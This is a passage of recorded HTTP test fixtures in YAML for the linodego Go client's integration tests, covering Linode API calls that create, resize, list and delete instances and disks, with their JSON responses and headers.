Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713 method: GET response: body: '{"id": 52557713, "label": "go-test-ins-wo-disk-7uwtu261eh21", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.248.196"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "734" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713/disks method: GET response: body: '{"data": [{"id": 104235582, "status": "ready", "label": "go-disk-test-1p5mgm182r1l", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "227" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"password":"r34!_b4d_p455"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713/disks/104235582/password method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Disk_Resize.yaml000066400000000000000000000464751455402072200323560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-5s90z08vrz2a","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 41004063, "label": "go-test-ins-wo-disk-5s90z08vrz2a", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.112.143"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-7tlp60vs2i66","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004063/configs method: POST response: body: '{"id": 43613604, "label": "go-test-conf-7tlp60vs2i66", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004063 method: GET response: body: '{"id": 41004063, "label": "go-test-ins-wo-disk-5s90z08vrz2a", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.112.143"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "710" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"disk-test-6jr157rtl3y2","size":2000,"filesystem":"ext4"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004063/disks method: POST response: body: '{"id": 82067950, "status": "not ready", "label": "disk-test-6jr157rtl3y2", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "178" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004063/disks method: GET response: body: '{"data": [{"id": 82067950, "status": "ready", "label": "disk-test-6jr157rtl3y2", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"size":4000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004063/disks/82067950/resize method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004063 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Disks_List.yaml000066400000000000000000000345771455402072200322130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": 